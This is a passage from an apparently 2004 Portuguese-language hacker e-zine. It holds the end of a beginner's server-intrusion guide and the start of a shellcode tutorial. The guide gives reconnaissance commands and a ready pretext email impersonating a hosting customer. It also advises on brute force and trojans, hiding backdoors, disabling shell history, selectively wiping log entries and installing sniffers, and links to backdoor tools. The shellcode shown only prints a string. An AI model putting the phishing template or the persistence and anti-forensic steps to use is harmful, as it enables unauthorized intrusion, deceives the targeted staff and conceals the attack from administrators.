imprevisivel...;)
2.4 - Analisando Banners
************************
Todos os daemons apresentam um banner quando um usuario se conecta nele, esse
tipo de informacao eh bem util para o atacante, ja para um usuario comum ou
admin nao vejo vantagem nenhuma de possuir este banner a nao ser propaganda do
programa...:/...caso vc seja o administrador da rede, altere este banner
para qualquer outra coisa. Imaginemos a seguinte situacao, um hacker quer atacar
um servidor que presta servico de hospedagem de sites, ele nao quer passar um
scanner pq nao quer chamar atencao, mais mesmo assim precisa descobrir quais os
programas q gerenciam os daemons do host, numa visita a pagina ele descobre que
o server tem servicos de ftp, ssh, smtp, pop3, http rodando e talvez algum
programa de administracao remota como webmin ou outros... para descobrir o que esta
rodando nestas portas ele simplesmente se utiliza do telnet, como vemos abaixo:
inferninho@weapon:~$ telnet localhost 21
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 ProFTPD 1.2.8 Server (ProFTPD Default Installation) [weapon.heart.org]
inferninho@weapon:~$ telnet localhost 22
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
SSH-1.99-OpenSSH_3.7.1p2
inferninho@weapon:~$ telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 weapon.heart.org ESMTP Sendmail 8.12.10/8.12.10; Thu, 26 Feb 2004 13:03:47 -0300
Poderia ser utilizado ainda o netcat, $ nc endereco porta.
Para capturar o banner do daemon httpd ele se utiliza de um navegador em modo txt
do linux muito famoso, o lynx:
inferninho@weapon:~$ lynx localhost
Apos a pagina aberta basta pressionar o sinal de '=' que o banner sera exibido.
Linkname: Test Page for the SSL/TLS-aware Apache Installation on Web Site
URL: http://localhost/
Charset: iso-8859-1 (assumed)
Server: Apache/1.3.28 (Unix)
Date: Thu, 26 Feb 2004 16:04:46 GMT
Last Mod: Tue, 19 Aug 2003 23:47:23 GMT
Owner(s): None
size: 27 lines
mode: normal
Depois das consultas terem sido realizados ele constatou que o servidor tem,
ProFTPD 1.2.8, OpenSSH_3.7.1p2, Sendmail 8.12.10 e Apache 1.3.28., isso se os
banners nao tiverem sido alterados, situacao que dificulta em muito a acao do
atacante, mais ainda nao eh o suficiente para manter um host longe de hackers.
2.5 - Detectando o S.O.
***********************
Detectar o sistema operacional de um servidor eh fundamental, isso implica
diretamente em que tecnicas vc podera usar contra o server, entao coloque a mao
na massa...:P... Como no caso do portscan eh possivel descobrir o S.O. de um
servidor apenas por deducao, como? Ainda na situacao criada acima, apos a
verificacao dos banners, fica visivel para o hacker que se trata de um sistema
unix ou linux, ou por acaso vc ja viu um windows rodando sendmail? no banner
do apache temos mais uma confirmacao disto, e ele ja sabe que se trata de um
slackware, pois ao visitar a web page do servidor, estava descrito nos planos
que eles usavam win2k e slackware (qual seria a utilidade de diser qual s.o. usa?)
, a menos que todas essas informacoes tenham sido forjadas o atacante ja coletou
informacoes mais que sufientes para tracar seu plano de ataque, obviamente esse
metodo pode apresentar erros, neste caso existem ferramentas que detectam o
sitema atraves da obtencao de impressao digitais de pilhas como exemplo temos:
O Nmap que faz obtencao da pilha de forma ativa atraves da opcao -O, ou seja,
vc sera detectado por um provavel IDS...:/
root@weapon:/# nmap -O localhost
...
Running: Linux 2.4.X|2.5.X
OS details: Linux Kernel 2.4.0 - 2.5.20
Existem ferramentas q obtem esses dados de forma passiva, desta forma sao
mais recomendadas que o uso do nmap.
p0F -> http://packetstorm.linuxsecurity.com/UNIX/scanners/p0f-2.0.2.tgz
Siphon -> http://siphon.datanerds.net/
para maiores detalhes sobre deteccao de S.O atraves de fingerprinting::
$ vim /usr/doc/nmap-3.45/nmap-fingerprinting-article.txt
dependendo da distro ou da versao do nmap o caminho pode ser outro...;)
2.6 - Usando Engenharia Social
******************************
Muita gente nao considera engenharia social como hacking, pra mim
isso eh uma grande bobagem, passar horas discutindo o que eh hacking e
o que nao eh, no final cada um pensa e fala o que quer, o fato e que
a engenharia social funciona...:)...nao somente para conseguir uma shell
no host como tb para coletar informacoes do mesmo, como? veja o mail
a seguir, vamos supor que o hacker do caso anterior nao conseguiu
obter nenhum daqueles dados, ou acredita que eles nao sao confiaveis.
entao ela passa o seguinte fakemail para o responsavel pelo atendimento
ao cliente (ele conseguiu o mail deste na propria pagina do servidor).
Informacoes...
De: cliente@provedor.jp
Para: contato@provedor.jp
Ola,
Sou cliente de vossa empresa ja ha algum tempo, estou muito satisfeito
com o servico, o caso e que tenho um amigo que me questionou sobre o local
que eu hospedava minha pagina, e se o servico era bom... Sem pensar duas
vezes eu indiquei o provedor.jp, mesmo assim ele ficou um pouco preocupado
com relacao a seguranca do servidor, ja que pretende hospedar um site para
vendas de pecas de informatica e teme que seus clientes tenham seus cartoes
de credito usados indevidamente por terceiros, me perguntou sobre quais
daemons voces usam e sobre o sistema de IDS utilizado, como eu nao entendo
nada disso, nao pude responder, entao estou enviando este e-mail e pedindo
que se possivel estas informacoes fossem repassada para ele, o e-mail dele
e contalaranja@box.com.
Sem mais para o momento, agradeco desde ja.
Cliente
Como vcs podem notar o hacker, se passou por um dos clientes da provedor.jp
, o que!? vc nao cairia nessa? heh, sei...;)
Um script em perl que automatiza o processo do envio de fakemail pode ser
encontrado em:http://www.motdlabs.org/downloads/falsificator
Tenha em mente que todos os ataques de engenharia social devem ser bem
pensados e adaptados a situacao e as pessoas envolvidas, entao nao se limite
aos exemplos dados.
Para maiores detalhes sobre engenharia social:
Inferninho -> Engenharia Social
http://inferninho.motdlabs.org/papers/engsocial.txt
Mitnick -> A Arte de Enganar, em ingles pode ser baixado em:
http://greenhornet.motdlabs.org/Art_of_deception.zip
-----------------------------
3 - Partindo para a ofensiva |
-----------------------------
Abaixo voce nao encontrara nenhum exemplo de tecnica para invasao, pretendo
abordar algumas tecnicas em outros textos, de forma que tera apenas a enumeracao
de alguns poucos conceitos ja amplamente discutidos, existem muito mais coisa do
que as descritas aqui, muito mesmo, entao se voce ja esta na cena a algum tempo,
nao perca tempo lendo isto...;)
3.1 - Avaliando as brechas
**************************
Apos colher todas as informacoes do host, esta na hora de detectar quais as
possiveis falhas de seguranca que este tenha, uma forma de fazer isto eh procurar
por falhas especificas para a versao do daemon, em sites e listas espalhadas pela
internet, alguns conseguem memorizar varias tecnicas de invasao e quais
vulnerabilidades cada daemon tem, se vc nao tem memoria de elefante, nao se
intimide e recorra ao google.com ou melhor procure em sites como:
http://www.securityfocus.com/
http://www.securiteam.com/
http://packetstormsecurity.org/
Outra forma de achar os bugs e usando um scaner de vulnerabilidade, como
ja dito antes eles nao sao recomendados, mais em todo caso, em particular
gosto muito do nessus e do n-stealth, que podem ser encontrados respectivamente
e gratuitamente em:
http://www.nessus.org
http://www.nstalker.com
3.2 - Senhas padroes e Brute force
**********************************
Varios aplicativos, roteadores, etc. vem com senhas padroes por default, e
por mais incrivel que pareca os administradores raramente dao um fim em tais senhas
seja por nao conhece-las ou ate mesmo por irresponsabilidade, o que voce tem
haver com isso? Bom se voce conhece essas senhas padroes logo voce tera acesso
a tal servico, listas com essas senhas sao divulgadas aos montes pela internet
de uma procurada no google, e acredite, por mais estranho que possa parecer,
mais cedo ou mais tarde voce ira se deparar com uma maquina contendo senhas padroes,
se e que nao ja topou.
Brute Force consiste em ir tentando senha por senha ate encontrar alguma
valida, isso pode ser feito manualmente ou atraves de programas que automatizam
o processo (bem mais pratico que fazer na mao), esses programas se utilizam de
wordlist que se trata de um arquivo .txt contendo as senhas e/ou logins,
normalmente no seguinte formato:
inferninho@weapon:~$ cat wordlist.txt
joao
pedro
zezinho
Assim como no caso das senhas padroes, e possivel encontrar centenas de
wordlist espalhadas pela internet. Outra forma de se implementar um brute
force e usando o metodo que geralmente sao mostrados em filmes, tipo:
aaaaaa
aaaaab
aaaaac
E assim por diante, obviamente esse metodo nao e tao bom quanto o anterior
e muito menos tao eficiente (a nao ser em alguns casos muito especificos) como
os filmes tentam fazer parecer, o ideal mesmo e que sua wordlist seja o mais
personalisada possivel para a sua vitima, assim os resultados devem ser melhores,
duas coisas ainda devem ser ditas sobre o brute force, e praticamente impossivel
numa rede com IDS faze-lo passar desapercebido, a segunda e que ele e sempre
viavel, mais cabe a voce decidir se o tempo gasto com ele vale a pena.
Para se aprofundar no assunto basta ir no google digitar brute force, tenho
certeza que encontrara diversos links.
Na pagina do MOTD Labs e possivel encontrar algumas ferramentas para aplicar
o Brute Force:
http://www.motdlabs.org/downloads.html
Nash Leon -> Brutal Force
http://geocities.yahoo.com.br/d4rwin_d4rwin/textos/unsekurity/brutal_force.txt
3.3 - Trojans
*************
Apesar de nao ser muito elegante, essa tecnica costuma ter resultados, ainda
mais em usuarios leigos, o nome obviamente se origina da estoria do cavalo de
troia, sua metodologia tambem consiste na mesma utilizada em tal ocasiao, entao
trata-se de um programa camuflado, que seja de extremo interesse do usuario (ou
talvez nao, e possivel induzi-lo a rodar um programa sem o seu consentimento)
que ao ser executado permite acesso para o invasor a algum recurso anteriormente
nao permitido ou algo do tipo, trojans sao encontrados aos montes pela internet,
mas quanto mais personalisados eles sao, melhores os resultados.
Nash Leon -> Backdoors e Trojans
http://geocities.yahoo.com.br/d4rwin_d4rwin/textos/unsekurity/backdoors_e_trojans.txt
e-brain -> Win32 Trojan Coding
http://geocities.yahoo.com.br/d4rwin_d4rwin/textos/unsekurity/win32_trojan_coding.txt
3.4 - Servicos mal configurados e/ou vulneraveis
************************************************
Sempre que se consegue acesso atraves de um servico do servidor e porque ou
este se encontrava mal configurado pelo admin ou estava com alguma falha no seu
codigo que o torna vulneravel a um buffer overflow ou algum de seus parentes,
tecnicas e/ou exploits para ambos sao vastamente encontrados na rede, para ter
sucesso, basta definir quais aplicativos o servidor tem rodando, atraves de
metodos ja abordados aqui ou outros, em seguida deve-se comecar a tentar
explorar o servico por meios que voce tem conhecimento, uma boa forma de se
manter atualizado sobre tecnicas e exploits e atraves de listas de discussoes, em
.br temos algumas interessantes:
http://lista.motdlabs.org
http://br.groups.yahoo.com/group/clube_dos_mercenarios/
http://br.groups.yahoo.com/group/frontthescene/
Atraves de buscas pela internet, google ajuda bastante, com o tempo voce tera
uma boa lista de sites sobre o assunto de sua preferencia, ou ainda atraves de
contatos em private, podem ser amigos ou alguem que lhe deva um favor, ou apenas
voce estava no lugar certo e na hora certa...:P...Bom e isso, nao vou me
aprofundar nisso senao o txt acaba ficando maior do que deveria.
Nash Leon -> Hacking the WEB
http://geocities.yahoo.com.br/d4rwin_d4rwin/textos/unsekurity/hacking_the_web.txt
Nash Leon -> CGI Problems
http://geocities.yahoo.com.br/d4rwin_d4rwin/textos/unsekurity/cgi_problems.txt
----------------
4 - Pos-invasao |
----------------
Depois que voce conseguiu acesso a maquina cabe a voce tomar algumas medidas
para sua propria seguranca, ter acesso novamente ao host e ainda para coletar o
maximo de informacao que puder do servidor.
4.1 - Garantindo acesso
***********************
As formas mais usuais hoje em dia sao backdoors e contas validas, mais existem
outras formas, na secao entitulada "trojans" tem um link que fala de forma mais
detalhada sobre backdoors, mais em suma se trata de um programa que permite que
voce acesse a maquina sempre que desejar sem ter que passar pelo processo de
invasao novamente, existem diversos backdoors mas muitos mesmo, o bom e que
voce tenho o seu proprio, mas caso ainda nao tenha experiencia para escrever
um, sugiro procurar um que lhe agrade, e pelo amor de Deus instale ele num lugar
que seja dificil de se encontrar, deixar backdoor no /tmp chega a ser sacanagem
apesar de que ja vi gente que se diz elito, fazendo isso...O_o
Uma backdoor escrita por Nash Leon do Clube dos Mercenarios pode ser encontrada
em: http://cdm.frontthescene.com.br/ferramentas/little_crow-v0.3.tar.gz
4.2 - Quem deixa rastro eh lesma...;)
*************************************
Se voce nao tem intencao de deixar vestigios de sua entrada no servidor e
interessante dar um remodelada nos arquivos de logs, uma boa ideia e assim
que entrar no servidor digitar logo de cara 'unset HISTFILE' para que seus
comandos nao fiquem gravados no .bash_history, em seguida procurar os logs,
cada caso e um caso, e necessario que vc de uma estudada no servidor para
saber o que esta sendo gravado ou nao, mais em todo caso a maioria dos logs
ficam em /var/log, e indicado que seja feita apenas uma alteracao neste
arquivo, apagando apenas o trecho referente a sua presenca, pois apaga-lo
totalmente e muito chamativo, exitem ferramentas que automatizam o processo,
conhecidas como cleanlogger, de uma procurada que vc encontra, elas sao muito
indicadas mais e bom ser precavido e apos seu uso dar uma conferida para ver
se ela realmente esta configurada para alterar todos os logs que o servidor
esta gravando, caso nao, faca isso manualmente.
4.3 - Evitando "visitantes" indesejados
***************************************
Caso voce nao tenha intencao de ter que dividir seu servidor com outro
invasor, e conveniente que seja aplicadas correcoes no servidor por voce mesmo,
ao menos na falha pela qual voce obteve acesso, caso o admin seja extremamente
relaxado (voce ira notar isso, acredite) e aconselhado que se faca correcoes em
outras falhas que forem surgindo tambem, mas isso tudo e algo que fica a seu
criterio.
4.4 - Cheirando a rede
**********************
Instalar sniffer na rede para capturar o trafego da mesma e subsequentemente
adiquirir mais contas validas e informacoes sobre a rede, e realmente muito
atraente e sugerido, para saber mais sobre o assunto leia o texto do hallucination
aqui mesmo nessa zine.
Sniffer feito por Nash Leon:
http://cdm.frontthescene.com.br/ferramentas/solitary-v0.7.tar.gz
----------------
5 - Finalizando |
----------------
O texto acabou decaindo bastante nos ultimos topicos, a pressa para envia-lo
em tempo de ser publicado na e-zine colaborou em muito para isso, mas mesmo
assim acredito que o mesmo tenha feito jus ao nome, se voce entrar nos links
que indiquei no decorrer do txt, com certeza, tera leitura por um bom tempo, pois
dentro deste existem mais links que levam a outros temas e assim sucessivamente.
Outra coisa, se voce achou o texto fraco, e sinal que ele nao era uma leitura
recomendada para voce, entao nao venha me encher o saco falando que ta uma merda,
sugiro que escreva um melhor ou recomende ele para seus inimigos...=)... para
quem gostou se aprofudem bem no assunto lendo todos links, pois em breve estarei
publicando textos com conteudo mais "pesado" e para compreensao do mesmo e bom que
se tenha ao menos esta base. Bom vou ficando por aqui.
[]'s
inferninh0
links relacionados:
*******************
Hacking & Forensics, por Dum_Dum e Omegabite
http://cdm.frontthescene.com.br/artigos/Wendel-Junior-Enec2003.pdf
Manual Pratico para Newbies Pos-invasao, por r0ot
http://www.rootspage.host.sk/textos/newbiemanual.txt
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[05]-=[Shellcode Sem Segredos Parte I]-=|IP_FIX|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Shellcode Sem Segredos Parte I
Desenvolvido por IP_FIX.
ip_fix@motdlabs.com.br || everson3000@hotmail.com
18/04/2004
Versão 1.0
MOTDLabs: http://www.motdlabs.org
Lista: http://lista.motdlabs.org
Dedicação: Todos do grupo MOTD, em especial o Scythium Alhazred e vbKeyDel.
Narcotic pela ajuda em ASM e pelo empilha.c (vide motdlabs.org)
slalon pela shell remota num SuSe onde pude testar meus codes... :P
Thanks: Clube dos Mercenários: http://cdm.frontthescene.com.br
Front The Scene: http://www.frontthescene.com.br
Observação: Os código apresentados aqui podem ser extraído com a phrack extract.
Como vai galera? Sou eu mais uma vez para atormentar a vida de vocês, mas creio
que dessa vez não será tanto. Irei dissertar sobre a escrita básica de
shellcodes, tentarei mostrar as facilidades e dificuldades dessa grande arte que
exige muita paciência e dedicação.
Resolvi escrever esse tutorial com o intuito de ajudar e orientar os jovens
fuçadores, Newbies, que estão começando nesse novo mundo mas sentem dificuldades
de evoluírem devido ao escasso material de bom conteúdo em português. Reparo nos
canais IRC que a busca desse tipo de material é grande, mas as fontes que são
passadas, geralmente são: "Smashing the stack for fun and profit", por Aleph
One, e também: "TUTORIAL BASICO DE ESCRITA DE SHELLCODES", por Nash Leon. Na
minha opinião, considero esses uns dos melhores artigos sobre shellcodes, mas
não quer dizer que são os únicos. Quando iniciei minha busca, me depa- rei com
vários artigos que abrangem muito conceitos a mais, e que ape- sar de serem em
inglês, eram de fácil entendimento. Com base nesses materiais, irei transpor a
vocês que todo problema tem uma solução, que a chave para tudo é a persistência,
criatividade e malícia. Levei vários tropeços até aprender o "mínimo" e agora
quero passar para todos vocês esse mínimo que aprendi. Espero que façam um bom
aproveito desse material e que isso desperte o interesse de todos, para uma
maior discussão.
Desde já agradeço o apoio que o grupo MOTD tem dado não só a mim, mas a todos
Newbies recém chegados ao underground que ficam em sua maioria, perdidos entre o
"BEM" e o "MAL", quero dizer que muitos ao chegar, acabam caindo em canais
lamers e defacers que faz com que a mente dos novatos sejam usadas de má forma
para atitudes ilegais e desrespeitosas, denigrindo ainda mais a imagem "hacker".
O MOTD por só mostra a realidade e os caminhos para os novatos, e com isso,
muitos têm se juntado a cena ética do hacking brasileiro, aprendendo e ajudando,
isso faz todos ganharem. Obrigado galera!!! :) :P
Como já falei, a escrita de shellcodes não pode ser dita como "fácil", mas ela
também não é "difícil". Vejo que o maior problema da grande mai- oria é o pouco
conhecimento da linguagem Assembly, que é fundamental para o completo
entendimento. Quem mau viu assembly na vida, vai achar isso tudo uma coisa de
louco, de outro planeta, mas quem já programa em assembly vai achar mais do que
fácil. Entenderam o ponto que quis chegar? APRENDAM ASSEMBLY!!! Enquanto eu não
parei, estudei e "pratiquei", mal conseguia entender os 'xor' da vida...
Pratiquem muito Assembly!
Conhecimentos de C, Linux e principalmente Asssembly são mais do que
necessários, mas somente o básico. Uma boa manipulção com o gcc e o gdb são
muito bem-vindas! :)
Antes gostaria de informar meu ambiente de trabalho. Vejo que alguns códigos
podem ter comportamentos diferente em outros sistemas. Estou usando um Slackware
9.1 sem qualquer modificação:
root@motdlabs:/# uname -a
Linux motdlabs 2.4.22 #6 Tue Sep 2 17:43:01 PDT 2003 i686 unknown unknown
GNU/Linux
root@motdlabs:/# gcc -v
Reading specs from /usr/lib/gcc-lib/i486-slackware-linux/3.3.1/specs
Configured with: ../gcc-3.3.1/configure --prefix=/usr --enable-shared
--enable-threads=posix --enable-__cxa_atexit --disable-checking --with-gnu-ld
--verbose --target=i486-slackware-linux --host=i486-slackware-linux
Thread model: posix
gcc version 3.3.1
root@motdlabs:/# cat /proc/cpuinfo
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 11
model name : Intel(R) Pentium(R) III CPU 1000MHz
stepping : 1
cpu MHz : 999.728
cache size : 256 KB
fdiv_bug : no
hlt_bug : no
f00f_bug : no
coma_bug : no
fpu : yes
fpu_exception : yes
cpuid level : 2
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 sep mtrr pge mca cmov pat
pse36 mmx fxsr sse
bogomips : 1992.29
root@motdlabs:/#
O padrão full da instalação do slackware, inclui o gcc 3.2.3, mas com testes
realizados com o gcc 3.3.1 num SuSe me mostrou que os código teriam que ser
reescritos de outra forma. Então instalei o gcc 3.3.1 que vem acompanhado no CD2
na pasta /extras. :)
Agora chega de enrolação!
Let's Rock! ;)
Um bom começo para escrever um shellcode, é primeiro fazer um protótipo dele em
C. Com isso se tem uma melhor visão de como ele irá ficar em Assembly. Acompanhe
abaixo nosso primeiro código, ele irá apenas imprimir a string MOTDLabs na
tela.:
<++> shellcode/cwrite.c
/*
* Protótipo de um shellcode em C.
* Imprime a string "MOTDLabs" na tela.
* by IP_FIX .
* MotdLabs .
* Compilação: # gcc -o cwrite cwrite.c
*/
#include
int main() {
/* write(stdout,"MOTDLabs\n",strlen("MOTDLabs\n")); */
write(1,"MOTDLabs\n",10);
/* Sai limpo. */
exit(0);
}
<--> shellcode/cwrite.c
OBS: Sempre deixe seu código em C o mais simples possível.
Sem segredos esse programinha. Mas vamos analisar suas funções:
Se consegue os protótipos das funções através das man pages, elas são
extremamente úteis, pois é a documentação ofical! Muitas dúvidas minhas foram
tiradas dela e certamente tirará as suas também!!! :)
root@motdlabs:~/IP_FIX/shellcode# man 2 write
ssize_t write(int fd, const void *buf, size_t count);
int fd: Será um inteiro representando um arquivo, ou em nosso caso, a saída
padrão do monitor(STDOUT) que possui o valor de 1.
const void *buf: Aqui colocamos nossa string que será armazenada no buffer.
size_t count: Colocaremos aqui o número total da quantidade de caracteres de
nossa string, incluindo o \n.
OBS: man 2 write retornará um texto enorme, mas só utilizarei o que irá nos
interessar.
Super simples a função write(), mais simples ainda é a função exit().:
void exit(int status);
int status: Podemos usar EXIT_SUCESS (0) ou EXIT_FAILURE (1 ou -1).
Usamos a função exit() para que se algo der errado, nosso programa termine numa
boa, por isso tem o valor de 0 (EXIT_SUCESS), que se der algo errado acima do
código o programa encerra limpo.
Bom, compile e execute e você verá que é muito simples mesmo.
root@motdlabs:~/IP_FIX/shellcode# gcc -o cwrite cwrite.c
root@motdlabs:~/IP_FIX/shellcode# ./cwrite
MOTDLabs
root@motdlabs:~/IP_FIX/shellcode#
Agora com base nesse protótipo em C, vamos remontá-lo em ASM.
<++> shellcode/asmwrite.c
/*
* Protótipo de um shellcode em ASM.
* Imprime a string "MOTDLabs" na tela.
* by IP_FIX .
* MotdLabs .
* Compilação: # gcc -o asmwrite asmwrite.c
*/
#include
main()
{
__asm__(
"mov $0x1, %ebx \n" /* STDOUT da função write(). */
"push $0x0A \n" /* Aqui temos... (\n). */
"push $0x7362614C \n" /* ...nossa string... (sbaL). */
"push $0x44544F4D \n" /* ...ao contrário. (DTOM). */
"mov %esp, %ecx \n" /* Como toda nossa string se localiza no Stack, vamos jogá-la para o contador. */
"mov $0xa, %edx \n" /* Aqui está o tamanho da string: 0xa=10. Jogamos para o registradador de dados. */
"mov $0x4, %eax \n" /* Nossa querida system call de write(). */
"int $0x80 \n" /* A melhor hora! Cai pro modo kernel e executa tudo acima! */
"mov $0x0, %ebx \n" /* Jogamos 0(EXIT_SUCCESS) em %ebx. */
"mov $0x1, %eax \n" /* Outra querida system call, da função exit() dessa vez. */
"int $0x80 \n" /* Finalmente! Tudo é executado! */
);
}
<--> shellcode/asmwrite.c
O que acharam? Simples não? Bom, pra alguns sim, pra outros não. Se você não
entendeu, estude mais assembly, pegue os links no final desse artigo e se
debulhe!!! Mas mesmo assim irei explicar o que se passa.
Uma dúvida que geralmente trava os inciantes na linguagem assembly, é a passagem
dos argumentos das funções aos registradore, muitos ficam perdidos sem saber pra
qual passar aí vai uma grande ajudar que me abriu muito a mente. Os problemas
acabaram quando achei o "Linux System Call Table" em um site que mostrava toda a
system call table que nós conhecemos em:
root@motdlabs:/# cat /usr/include/asm/unistd.h
E também para qual registrador cada argumento vai, veja o exemplo da função
exit() e write():
_____________________________________________________________________________________________
|%eax| Name | Source | %ebx | %ecx | %edx | %esx | %edi |
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
| 1 | sys_exit | kernel/exit.c | int | | | | |
| 4 | sys_write | arch/i386/kernel/process.c | unsigned int | char * | size_t | | |
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Vamos analisar o que fizemos e comparar com nossa pequena tabela.
Vamos ver a função write() e exit() novamente:
ssize_t write(int fd, const void *buf, size_t count);
[%ebx], [ %ecx ] [ %edx ]
void exit(int status);
[ %ebx ]
Quais conclusões que chegamos? Vimos que o número da system call sempre deverá
ser passada para %eax. No caso de write(), o inteiro sempre deve ser passado
para %ebx, a string para %ecx e o tamanho para %edx!!! Em exit() o mesmo
raciocínio: System call em %eax, e o int para %ebx. Compare tudo isso no
código novamente. Você verá que agora ele faz bem mais sentido. :)
Com isso dá pra se chegar a conclusão que toda system call sempre irá para %eax;
argumento 1 para %ebx; argumento 2 para %ecx; argumento 3 para %edx; e assim
vai... Mas de qualquer colarei a tabela para acompanharmos com clareza.
Bem, agora que terminamos nosso protótipo em C e em ASM. Vamos logo pegar
todos os opcodes (instruções válidas) em hexadecimal e finalizar nosso
shellcode. Compile o asmwrite.c normalmente, execute-o para ter certeza de
que funciona e vamos pegar os códigos hexadecimais no GDB.
root@motdlabs:~/IP_FIX/shellcode# gcc -o asmwrite asmwrite.c
root@motdlabs:~/IP_FIX/shellcode# ./asmwrite
MOTDLabs
root@motdlabs:~/IP_FIX/shellcode#
Funciona perfeitamente. Agora precisamos debugá-lo para pegarmos os códigos em
hexadecimal.
root@motdlabs:~/IP_FIX/shellcode# gdb asmwrite
GNU gdb 5.3
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb)
O gdb pra quem não conhece, é um GNU Debugger. Um excelente debugador livre
muito completo. Não explicarei todos os comando que ele possui, mas explanarei
os quais iremos usar. Voltando ao asmwrite vamos "disassembliar" o objeto e
conferir seu código:
(gdb) disassemble main
Dump of assembler code for function main:
0x8048314 : push %ebp
0x8048315 : mov %esp,%ebp
0x8048317 : sub $0x8,%esp
0x804831a : and $0xfffffff0,%esp
0x804831d : mov $0x0,%eax
0x8048322 : sub %eax,%esp
0x8048324 : mov $0x1,%ebx
0x8048329 : push $0xa
0x804832b : push $0x7362614c
0x8048330 : push $0x44544f4d
0x8048335 : mov %esp,%ecx
0x8048337 : mov $0xa,%edx
0x804833c : mov $0x4,%eax
0x8048341 : int $0x80
0x8048343 : mov $0x0,%ebx
0x8048348 : mov $0x1,%eax
0x804834d : int $0x80
0x804834f : leave
0x8048350 : ret
0x8048351 : nop
0x8048352 : nop
0x8048353 : nop
0x8048354 : nop
0x8048355 : nop
0x8048356 : nop
0x8048357 : nop
0x8048358 : nop
0x8048359 : nop
0x804835a : nop
0x804835b : nop
0x804835c : nop
0x804835d : nop
0x804835e : nop
0x804835f : nop
End of assembler dump.
(gdb)
Hehehe, adoro isso! :)
Pra quem sabe um pouco de assembly, sabe que o começo é o prelúdio, prólogo ou
processo incial, ele também reserva um espaço no stack e alinha a memória. Eles
serão úteis quando falarmos sobre buffer overflows numa outra oportunidade não
distante. :P
Maiores informações, vide os links no fim do arquivo sobre assembly. Lá vocês
encontrarão as respostas para suas perguntas! Voltando... Repare que nosso
código começa somente em e a última instrução começa em .
Então devemos pegar todos os opcodes em hexadecimal a partir de até
.
Mas não seria até ??? Sim, mas repare que a instrução "começa" em
e prossegue até , ou seja, 1 antes da próxima instrução que
no caso seria . Voltando a caça dos opcodes...
O comando que usaremos é o x/xb, que irá nos retornar o código em hexa.:
(gdb) x/xb main+16
0x8048324 : 0xbb
(gdb)
0x8048325 : 0x01
(gdb)
0x8048326 : 0x00
(gdb)
0x8048327 : 0x00
(gdb)
0x8048328 : 0x00
(gdb)
...
...
...
0x804834a : 0x00
(gdb)
0x804834b : 0x00
(gdb)
0x804834c : 0x00
(gdb)
0x804834d : 0xcd
(gdb)
0x804834e : 0x80
(gdb)
Dica: Depois do x/xb main+16, aperte e segure a tecla ENTER, você verá que o
processo será bem mais rápido. :)
Ok, temos os códigos em hexadecimal e agora?
Agora nós iremos montá-lo para poder ser executado.:
<++> shellcode/hexawrite.c
/*
* Shellcode pronto em hexadecimal.
* Imprime a string "MOTDLabs" na tela.
* by IP_FIX .
* MotdLabs .
* Compilação: # gcc -o hexawrite hexawrite.c
*/
#include
char shellcode[] = "\xbb\x01\x00\x00\x00" /* mov $0x1, %ebx */
"\x6a\x0a" /* push $0x0A */
"\x68\x4c\x61\x62\x73" /* push $0x7362614C */
"\x68\x4d\x4f\x54\x44" /* push $0x44544F4D */
"\x89\xe1" /* mov %esp, %ecx */
"\xba\x0a\x00\x00\x00" /* mov $0xa, %edx */
"\xb8\x04\x00\x00\x00" /* mov $0x4, %eax */
"\xcd\x80" /* int $0x80 */
"\xbb\x00\x00\x00\x00" /* mov $0x0, %ebx */
"\xb8\x01\x00\x00\x00" /* mov $0x1, %eax */
"\xcd\x80"; /* int $0x80 */
main() {
/* Mostramos o tamanho para se ter um controle maior. */
printf("Tamanho do Shellcode: %d bytes.\n", sizeof(shellcode));
/* Criamos um ponteiro para uma função do tipo long. */
long (*executa) ();
/* Apontamos a função para o shellcode. */
executa = shellcode;
/* E aqui acontece a mágica! :) */
executa();
}
<--> shellcode/hexawrite.c
Pronto! Está pronto nosso shellcode.Vamos executá-lo! :D
root@motdlabs:~/IP_FIX/shellcode# gcc -o hexawrite hexawrite.c
hexawrite.c: In function `main':
hexawrite.c:33: warning: assignment from incompatible pointer type
root@motdlabs:~/IP_FIX/shellcode# ./hexawrite
Tamanho do Shellcode: 44 bytes.
MOTDLabs
root@motdlabs:~/IP_FIX/shellcode#
Pronto! Um simples shellcode que imprime uma string na tela com o tamanho de 44;
(43+'\0'). Mostrar o tamanho é útil pra saber se caberá em um buffer numa
situação de buffer overflow.
O correto seria ter usado a função strlen() para calcular o tamanho do
shellcode, mas, nesse caso, ele só contará até 2, pois ele encerrará a contagem
no primeiro null byte que encontrar(\x00), por isso o uso da função sizeof().
Viram como é simples fazer um shellcode? Não é nenhuma coisa de outro mundo,
basta ter um mínimo de conhecimento, força de vontade e um pouco de malícia
ajuda também. :)
Mas como tudo na vida geralmente não é tão simples assim, vocês irão se deparar
com um pequeno problema caso tentem usar esse shellcode para explorar um
buffer overflow.
O problema se encontra nos "\x00" que fazem parte de nosso shellcode, pois
quando jogarmos o shellcode dentro do buffer e apontarmos o endereço de retorno
para o shellcode, ele será executado normalmente até encontrar um NULL byte
(0x00), e a execução do mesmo será interrompida como se o código tivesse sido
finalizado, e isso não é nada legal!!! Provavelmente você verá uma mensagem como
"Segmentation Fault" ou "Illegal Instruction".
Calma companheiro! No mundo da informática sempre tem um segundo caminho, pode
ser mais fácil ou difícil, mas tudo tem uma segunda saída. Como iremos resolver
então? É até simples a resposta, muito simples, vamos olhar denovo o código
asmwrite.c.
Repare que manuseiamos muitos 0x0 (push $0x0, por exemplo), mas não é somente
